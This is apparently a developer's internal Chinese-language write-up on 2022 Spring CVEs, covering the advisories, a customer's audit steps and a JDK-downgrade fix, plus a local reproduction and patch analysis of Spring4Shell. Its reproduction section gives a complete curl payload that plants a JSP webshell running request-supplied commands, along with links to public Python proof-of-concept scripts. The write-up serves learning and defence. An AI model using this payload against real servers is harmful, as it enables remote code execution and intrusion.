CVE漏洞编号: Data Binding Rules (CVE-2022-22968)、Spring4Shell (CVE-2022-22965) 、Spring Cloud (CVE-2022-22963)、spring expression (CVE-2022-22950)
– CVE-2022-22963
CVSS 分数 (VMware) = 5.4
描述:在 Spring Cloud Function 版本 3.1.6、3.2.2 和更旧的不受支持的版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为可能导致访问本地资源的路由表达式。
缓解:受影响版本的用户应升级到spring cloud function 3.1.7、3.2.3。不需要其他步骤。
适用性:不适用于 Windchill 或 FlexPLM。没有影响。
报告时间:2022-03-29
官网:https://tanzu.vmware.com/security/cve-2022-22963
– CVE-2022-22950
CVSS 分数 (VMware) = 5.4
描述:在 Spring Framework 版本 5.3.0 - 5.3.16 和不受支持的旧版本中,用户可以提供特制的 SpEL 表达式,这可能会导致拒绝服务条件。
缓解:受影响版本的用户应升级到 spring framework 5.3.17+、5.2.20+。不需要其他步骤。
适用性:见分辨率
报告时间:2022-03-28
官网:https://tanzu.vmware.com/security/cve-2022-22950
– CVE-2022-22965 (Spring4Shell)
CVSS 分数(黑鸭):9.8(临界)
描述:在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。具体的利用需要应用程序作为 WAR 部署在 Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar,即默认值,则它不易受到漏洞利用。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。
缓解措施:更新到 Spring Framework 5.3.18、5.2.20
适用性:见分辨率
报告时间:2022-03-31
官网:https://tanzu.vmware.com/security/cve-2022-22965
– CVE-2022-22968
CVSS 分数(黑鸭):3.7(临界)
描述:在 Spring Framework 版本 5.3.0 - 5.3.18、5.2.0 - 5.2.20 和不受支持的旧版本中,DataBinder 上的 disallowedFields 模式是区分大小写的,这意味着除非字段同时列出字段的第一个字符小写,包括属性路径中所有嵌套字段的第一个字符的大写和小写。
缓解措施:更新到 Spring Framework 5.3.19、5.2.21
适用性:见分辨率
报告时间:2022-04-13
官网:https://tanzu.vmware.com/security/cve-2022-22968
客户现场安全团队告知项目需要检查时间(2022-04-01、2022-04-02) 具体检查方式(汇丰前海):
1 2 3 4 5 6 7 8 9 10 11 12 13 JDK 版本号排查 在业务系统的运行服务器上,执行“java -version”命令查看运 行的 JDK 版本,如果版本号小于等于 8,则不受漏洞影响。 Spring 框架使用情况排查 1. 如果业务系统项目以 war 包形式部署,按照如下步骤进行判断。 解压 war 包:将 war 文件的后缀修改成.zip ,解压 zip 文件 在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文 件(例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。 如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 Spring 框架开发。 2. 如果业务系统项目以 jar 包形式直接独立运行,按照如下步骤进行 判断。 解压 jar 包:将 jar 文件的后缀修改成.zip,解压 zip 文件。 在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文件 (例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。 如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索 CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 spring 框架进行开发。
剑阁大部分项目都是使用spring boot框架的项目,会依赖spring framework的框架,但大部分项目的java运行环境为1.8,所以不受此次漏洞影响的范围内。除了上面提到的即时通讯项目,该项目依赖运维的java环境版本为11,所以是受此次漏洞影响的。提到的严重安全漏洞是指CVE-2022-22965 (Spring4Shell)。
即时通讯项目maven配置说明:
libs下面的spring-beans查看:
解决分析: 1.将org.springframework.boot进行升级成官网最新的版本2.6.7,默认引用的springframwork为5.3.19,是可以解决Spring4Shell的问题的。
但是springboot-2.6.x版本和springboot-1.5.x版本相差了7个大版本,升级难度比较大。
2.实际当时尝试了下升级,项目未能正常启动,由于客户那边这种问题优先级很高,解决方案处理不能花费太久,且客户那边同意做jdk版本的降级处理,故采用了jdk版本从11降到了8去解决,具体降级产生并处理过的问题整理可参考 :即时通讯将jdk11降级为jdk8遇到的问题
漏洞复现CVE-2022-22965 (Spring4Shell): 操作系统:macOS
jdk版本:11.0.14
tomcat版本:9.0.54
springboot版本:2.6.3
springframewor版本:5.3.15
1.创建一个springboot项目,framework版本在漏洞范围之内,选用war包的方式。
本地项目代码位置: ~/workspace/owner/springframework-flaw
1.用IDE创建一个springboot的项目,jdk版本为11,选用war的方式。
2.官方维护版本只有2.6.7和2.5.13了,创建完成之后在修改成老版本,勾选spring web框架
3.在生成的pom里面将spring-boot-parent的版本改为2.6.3,改完之后重新同步拉取下maven仓库
4.创建一个类,用RequestMapping暴露出接口,如下图所示:
5.用maven打成war包,放到tomcat的webapps底下,然后启动项目。
6.用curl方式或者用python的方式注入shell脚本
1 2 3 4 5 6 7 8 #用curl方式 脚本来源:https://www.infoq.cn/article/yKWU6v6UktvAtvxVvQ2W 原始脚本没有写c1,c2替换的参数,并且从网站上考下来的脚本换行导致了参数没有正确decode,用mac的终端执行下面命令 curl -v -H 'suffix:%>//' -H 'c1:Runtime' -H 'c2:<%' -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!=-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/springframework-flaw/rapid7 #执行完成之后,webapps下面会出现一个ROOT下的文件夹,里面有tomcatwar.jsp文件,然后在浏览器里面执行这个jsp的请求,输入对应参数的shell脚本就能执行。 http://localhost:8081/tomcatwar.jsp?pwd=j&cmd=pwd #用python的方式 脚本来源https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 将此内容复制到本地py文件中,此文件的目录在~/config/python/poc.py,用mac的终端执行下面命令 python3 poc.py --url http://localhost:8080/springframework-flaw/rapid7 #执行完成之后,现场和后续执行shell方式和上面一致
curl调用方式:
浏览器里面执行shell命令
用python命令执行:
遇到问题: 1.试错,参考博客重试了很多次。
2.python3执行脚本时出错,没有引用到requests
错误提示:ModuleNotFoundError: No module named ‘requests’
解决:安装下python3的requests的包。执行:pip3 install requests。完成后再次执行py脚本即可。
3.使用tomcat7启动上面的项目会提示:Unable to start web server; nested exception is java.lang.NoClassDefFoundError: javax/servlet/http/HttpSessionIdListener。
日志报错:
解决:查看servlet-api的版本和tomcat版本的对应关系
项目里面servlet-api的版本:
没有找到servlet的lib包,发现项目里面引用的是tomcat的包,版本为9.0.56,所以替换成了tomcat9即解决了该问题
参考博客: https://www.ptc.com/en/support/article/CS366379-- spring近期CVE漏洞整理文章
https://spring.io/blog – spring官网博客
https://icode.best/i/60657546206890 –检查java项目是否存在spring4shell漏洞文章(4.1发布)
https://xxc.xidian.edu.cn/info/1183/1752.htm –检查java项目是否存在spring4shell漏洞文章(4.2发布)
https://www.infoq.cn/article/yKWU6v6UktvAtvxVvQ2W--漏洞复现参考博客
https://paper.seebug.org/1877/--漏洞复现参考博客(不错的文章)
https://www.justzz.com/7706.html--curl 设置请求头参考博客
https://blog.csdn.net/thewindkee/article/details/118419817--解决问题3的参考博客
https://github.com/Axx8/SpringFramework_CVE-2022-22965_RCE/blob/main/SpringFramework_CVE-2022-22965_RCE.py--另外的python脚本有时间研究下
原理整理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1.利用springmvc的参数绑定来获取到对应对象类的方法 class.module.classLoader.resources.context.parent.pipeline.first.pattern最后能解析为org.apache.catalina.valves.AccessLogValve.setPattern() class.module.classLoader.resources.context.parent.pipeline.first.suffix最后解析为 org.apache.catalina.valves.AccessLogValve.setSuffix() class.module.classLoader.resources.context.parent.pipeline.first.directory最后解析为org.apache.catalina.valves.AccessLogValve.setDirectory() class.module.classLoader.resources.context.parent.pipeline.first.prefix最后解析为org.apache.catalina.valves.AccessLogValve.setPrefix() class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat最后解析为org.apache.catalina.valves.AccessLogValve.setFileDateFormat() 通过请求传入参数,利用SpringMVC参数绑定机制,把控Tomcat的AccessLogValue的属性,让Tomcat在webapps/ROOT目录输出定制的"访问日志"tomcatwar.jsp,该"访问日志"实际上为一个JSP webshell 漏洞利用关键点一 从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。 war包里面可以获取Tomcat的ParallelWebappClassLoader,如果是jar包,classLoader就会被解析为org.springframework.boot.loader.LaunchedURLClassLoader里面就没有getResources()方法了 漏洞利用关键点二 在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。 Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:
1 该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链: Foo.getClass() java.lang.Class.getClassLoader() BarClassLoader.getBaz() ...... 这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断: Foo.getClass() java.lang.Class.getModule() // 绕过 java.lang.Module.getClassLoader() BarClassLoader.getBaz() ...... 补丁分析: spring 5.3.18代码升级: 进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。
1 2 tomcat 9.0.62补丁: 进入该提交,可以看到对getResource()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。